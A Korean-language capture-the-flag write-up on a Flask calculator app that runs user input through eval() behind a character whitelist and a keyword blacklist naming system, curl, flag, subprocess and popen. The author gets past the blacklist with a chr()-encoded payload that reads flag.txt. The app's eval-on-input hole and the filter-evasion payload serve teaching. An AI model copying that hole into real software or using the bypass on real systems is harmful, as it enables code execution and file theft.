![]()
![]()
이런 화면이 떠서
여러가지 덧셈식을 입력해 보았다.
1+1,1+2
1-2를 입력했더니
filltered가 떴다.
#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re
app = Flask(__name__)
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
formula = request.form.get("formula", "")
if formula != "":
if filter(formula):
return render_template("index.html", result="Filtered")
else:
try:
formula = eval(formula)
return render_template("index.html", result=formula)
except subprocess.CalledProcessError:
return render_template("index.html", result="Error")
except:
return render_template("index.html", result="Error")
else:
return render_template("index.html", result="Enter the value")
app.run(host="0.0.0.0", port=8000)
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) w_list.extend([" ", ".", "(", ")", "+"])
이 부분을 보면 허용되는 문자들은, a-z,A-Z,공백,.,(,),+였다.
또, 필터링되는 단어들은 system, curl, flag, subprocess, popen이었다
formula = eval(formula)
그리고 이 부분을 보면 필터를 뚫어 내기만 하면 python 코드를 실행해 flag를 읽을 수 있을거 같았다.
open(flag.txt).read()
나는 이런 형태의 코드를 사용할건데, 블랙리스트에 의해 flag가 필터링된다. 따라서 파이썬의 chr() 함수를 이용하여 flag를 변환했다.
open(chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)).read()
![]()